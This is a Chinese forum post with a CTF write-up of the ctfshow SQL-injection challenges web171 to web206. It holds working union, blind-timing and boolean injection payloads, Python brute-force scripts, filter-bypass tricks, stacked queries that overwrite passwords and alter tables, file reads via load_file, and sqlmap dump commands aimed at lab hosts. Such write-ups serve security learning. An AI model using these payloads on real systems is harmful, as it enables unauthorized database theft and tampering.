【ctfshow】web篇 SQL注入 WP
本帖最后由 孤樱懶契 于 2021-8-4 18:53 编辑# SQL注入
## web171
> - **根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过**
```
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
```
- **GET传参会自己解码,注释可以用%23(#), --空格,--+等,或者拼接语句不用注释也行**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727052118542.png)
- **判断有3个字段**
```sql
1' order by 3--+
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727052202385.png)
- **联合查询,查表**
```sql
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727052424376.png)
- 查字段
```sql
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727052509428.png)
- 查flag
```sql
1' union select 1,2,password from ctfshow_user --+
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727052648926.png)
## web172
```sql
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
```
> - **多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别**
```sql
1' union select 1,password from ctfshow_user2--+
```
## web173
> - 和上题一样
```sql
1' union select 1,2,password from ctfshow_user3--+
```
## web174
```sql
//检查结果是否有flag
if(!preg_match('/flag|/i', json_encode($ret))){
$ret['msg']='查询成功';
}
```
> - **过滤了数字,考察replace的运用,先判断有几个字段**
```
1' order by 2 %23
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727091147187.png)
> - **联合函数添加a和b两个数据ok**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727091245501.png)
> - 先构造一个replace将0-9全部置换
```sql
select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ');
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727091509981.png)
> - 查表构造语句将1-0换成table_name
```
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727091702800.png)
> - 查字段名
```
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727091826089.png)
> - 查结果
```
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727091848759.png)
> - 写个小py来转换一下
```python
import requests
flagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'
flag=''
flag = flag + flagstr.replace('numA','1').\
replace('numB','2')\
.replace('numC','3')\
.replace('numD','4')\
.replace('numE','5')\
.replace('numF','6')\
.replace('numG','7')\
.replace('numH','8')\
.replace('numI','9')\
.replace('numJ','0')
print(flag)
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210727091931245.png)
## web175
```php
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
```
> - 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import time
url = "http://bab11107-9d31-46bf-b41e-0a04bb92b155.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag =""
for i in range(1,50):
for j in dict:
payload= f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{i},1)=\"{j}\",sleep(3),0)--+"
res_get = url + payload
start = time.time()
res = requests.get(url=res_get)
end = time.time()
if end-start > 3:
flag = flag + j
print(flag)
break
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730095850795.png)
## web176
> - **发现是对select的过滤,但是没有过滤大小写**
- 表
```sql
1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+
```
- 字段
```sql
1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+
```
- 查flag
```sql
1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+
```
> - 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
- 查所有数据
```sql
1' or 1=1--+
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730101403056.png)
## web177
> - 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据
**查flag**
```sql
1'or(1=1)%23
```
> - **第二种方法,这次发现还多过滤了空格,我们可以用`%0a`换行符或者注释符绕过(或者`%09,%0b,%0c,%0d`都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用`#`的url编码形式`%23`**
**查flag**
```sql
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23
```
## web178
> - **和上题差不多,多办了/\*\*/**这个注释符号,也可以**万能密码`1'%09or%091=1%23`**
```sql
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23
```
## web179
> - **和上题差不多,过滤了`%09,%0b,%0d`和空格也可以用万能密码`1'%0cor%0c1=1%23`**
```sql
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23
```
## web180
##
> - **这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句**
**payload**
```sql
1.1'or(id='26')and'1=1
```
这个拼接之后的语句就是
```sql
select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1’ limit 1;
```
```sql
id='1.1'or(id=26)and'1=1' limit 1;
也就是
(id='1.1') or ((id=26) and '1=1') limit 1;
前面因为1.1不存在为0,后面为1,所以整个条件为1
```
## web181
> - 和上题一样
```sql
1.1'or(id=26)and'a'='a
```
## web182
> - 和上题一样
```sql
1.1'or(id=26)and'a'='a
```
## web183
```sql
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
```
> - **提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配**
- **post传参**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730124155127.png)
- **这里明显有布尔盲注,来进行猜解flag,写一个py脚本**
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
url = "http://e9202b55-424f-460d-8597-692168ba560f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
print(' 开始盲注第{}位'.format(i))
for j in str:
data = {
"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)
}
res = requests.post(url,data)
if res.text.find("$user_count = 1")>0:
flag += j
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730132558687.png)
## web184
> - **这把过滤了where,我们用右连接来做**
```
ctfshow% 的十六进制 为 0x63746673686F7725
```
> - **所以用他来匹配like,放出了空格**
```sql
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725
```
> - **写个py来跑flag**
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30 21:24
# blog: gylq.gitee.io
import requests
import binascii
def to_hex(s):
#转十六进制
str_16 = binascii.b2a_hex(s.encode('utf-8'))
res = bytes.decode(str_16)
return res
url = "http://d42dba7c-384e-4a5d-9a5d-26398d42ce7c.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
print(' 开始盲注第{}位'.format(i))
for j in str:
result = "0x" + to_hex(flag + j + "%")
data = {
"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)
}
res = requests.post(url,data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
# tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730140931041.png)
## web185##
> - 这次直接过滤了0-9的所有数字,上个脚本进行改变
**这次我们利用true来进行替换数字**
```
select true+true;
结果是2
所以我们构造数字c来进行like匹配
```
**我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730151426812.png)
```sql
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730151523656.png)
**页面可以正常回显,代码跑起py**
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
import binascii
def createNum(n):
num='true'
if n==1:
return "true"
else:
for i in range(n-1):
num+="+true"
return num
#把每一个字符转换成ascii码对应的数值
def change_str(s):
str=""
str+="char("+createNum(ord(s))+")"
for i in s:
str+=",char("+createNum(ord(i))+")"
return str
url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
print(' 开始盲注第{}位'.format(i))
for j in str:
result = change_str(flag + j + "%")
data = {
"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)
}
res = requests.post(url,data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730153336499.png)
## web186
> - 和上一题一样
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import binascii
def createNum(n):
num='true'
if n==1:
return "true"
else:
for i in range(n-1):
num+="+true"
return num
#把每一个字符转换成ascii码对应的数值
def change_str(s):
str=""
str+="char("+createNum(ord(s))+")"
for i in s:
str+=",char("+createNum(ord(i))+")"
return str
url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
print(' 开始盲注第{}位'.format(i))
for j in str:
result = change_str(flag + j + "%")
data = {
"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)
}
res = requests.post(url,data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730154141902.png)
## web187
```php
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
```
> - 登陆窗口,看返回逻辑
**很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730155322904.png)
网上有一个字符串`ffifdyop`很特殊
```php
echo md5("ffifdyop",true);
//结果
'or'6�]��!r,��b
刚好成万能密码
password=''or true
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730155234977.png)
## web188
```sql
$sql = "select pass from ctfshow_user where username = {$username}";
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}
```
可以看到是通过username来列出密码,然后弱比较来进行判断payload
```sql
username=0&password=0
```
**以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理**
**但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用`||`运算符**
```sql
username=1||1&password=0
```
## web189
**因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“\u67e5\u8be2\u5931\u8d25”判断是否存在,写个payload**
> **LOAD_FILE(file_name):** 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
>
> **regexp:** mysql中的正则表达式操作符
**容易想到默认路径是`/var/www/html/api/index.php`,开始写个脚本进行盲注**
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
url = "http://e89f25b2-8acb-4c79-8368-56f445f77e6c.challenge.ctf.show:8080/api/index.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
payload="if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)"
for i in range(666):
print(' 开始盲注第{}位'.format(i))
for j in str:
data={
"username":payload.format(flag + j),
"password":0
}
res = requests.post(url,data)
if r"\u67e5\u8be2\u5931\u8d25" in res.text:
flag += j
print(flag)
break
if j=='}':
print(' flag is {}'.format(flag))
exit()
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730180926218.png)
## web190
> 经典盲注,脚本跑
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(i,j),
"password":123456
}
res = requests.post(url,data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag += j
n+=1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730190843467.png)
## web191
> - 和上题一样,过滤了ascii等,不过我写的payload没用
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(i,j),
"password":123456
}
res = requests.post(url,data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag += j
n+=1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730191215328.png)
## web192
> - 和上题一样,没办=号,我们依旧潇洒
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8ab877db-cd5c-424f-bb9c-0f54ba6447c7.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(i,j),
"password":123456
}
res = requests.post(url,data)
if "密码错误" in res.json()['msg']:
flag += j
n+=1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
## web193
> - 过滤了substr但是没有过滤正则啊,用正则^来匹配第一个
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://131ffba2-a367-4469-8421-e4c0d9877e37.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(flag+j),
"password":123456
}
res = requests.post(url,data)
if "密码错误" in res.json()['msg']:
flag += j
n+=1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730210312414.png)
## web194
> - 正则依旧没有被办,只是办了个右连接等,继续上个脚本梭哈
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8f2766ad-af45-441e-b247-7a526b3d150f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(flag+j),
"password":123456
}
res = requests.post(url,data)
if "密码错误" in res.json()['msg']:
flag += j
n+=1
print(' 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print(' flag is {}'.format(flag))
exit()
break
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730210650528.png)
## web195
```sql
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
```
> - 过滤了空格,用反引号来代替,因为提示堆叠注入,我们考虑用update更新密码,因为sql语句中没有单引号包含,无法成功执行,所以得将admin转十六进制进行执行
**payload**
```sql
0x61646d696e;update`ctfshow_user`set`pass`=123456
```
**接着用0x61646d696e,123456登陆就行**
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730211627435.png)
## web196
```sql
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}
```
**多限制了用户名的长度,这里注意正则里ban的是se1ect,二不是select,所以select可以继续使用**
- **payload**
```sql
username:1;select(1)
password:1
```
> !(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730212125349.png)
## web197
```sql
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
if($row==$password){
$ret['msg']="登陆成功 flag is $flag";
}
```
**这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag**
```
username:520;show tables
password:ctfshow_user
```
## web198
> - 上题方法依旧可以做,我们换种思路,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下
```python
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://86f793a3-65c1-4974-8b76-8276d42d488c.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `gylq` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `gylq` `id` varchar(255);'
data1 = {
'username': payload,
'password': '1'
}
res = requests.post(url,data1)
for i in range(99):
data2 = {
'username': "0x61646d696e",
'password': '{}'.format(i)
}
res2 = requests.post(url,data2)
if "flag" in res2.json()['msg']:
print(res2.json()['msg'])
break
```
## web199
> - 不变197做法
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730221610705.png)
## web200
> 和上题一样
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730221717415.png)
## web201##
> - **提示referer标头,查了下资料,默认情况不会对referer发起http请求,但是这题不发就得不到数据,所以可以自行设置referer或者直接level 3**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730231149582.png)
**payload**
```sql
sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" --dbs
```
**或者 level 3**
```
sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --level 3 --dbs
```
**查表**
```sql
python3 sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web --tables
```
**查字段**
```
sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
```
**查flag**
```sql
sqlmap.py -u "http://eb8102e6-5c61-4b70-8a29-24de83d6b0b2.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where "pass like '%ctfshow%'"
```
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210730232141620.png)
## web202
> - 就是用--data指定post传参
**payload**
```sql
sqlmap.py -u "http://c339fde0-4900-495d-bcf0-7872c3937afa.challenge.ctf.show:8080/api/" --data="id=1" --threads=10 --batch--referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"
```
## web203
> - **将method改成put,并且注意更改content-type为text/plain,否则会被提交成表单**
```sql
sqlmap.py -u "http://fa1b6901-9336-417b-9abf-3b0d199ed673.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"
```
## web204
> - 提示传递cookie,抓包拿
```sql
sqlmap.py -u "http://74013a20-89e2-4675-a59b-40916d4e4712.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"-v 5--cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6"
```
## web205
> - **要api鉴权我们抓包可以发现他是先/api/getToken.php,然后再访问/api/index.php,根据浏览器里面select.js文件代码分析也可以发现**
!(https://gitee.com/gylq/cloudimages/raw/master/img/image-20210731085139350.png)
sqlmap中提供以下两个参数保证每次都能访问一次一次getToken.php来获取token
```sqlite
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数
```
payload
```sql
sqlmap.py -u "http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --where="flagx like 'ctf%'" --dump
```
## web206
> - 和上题一样做法,就是换了字段名
```sql
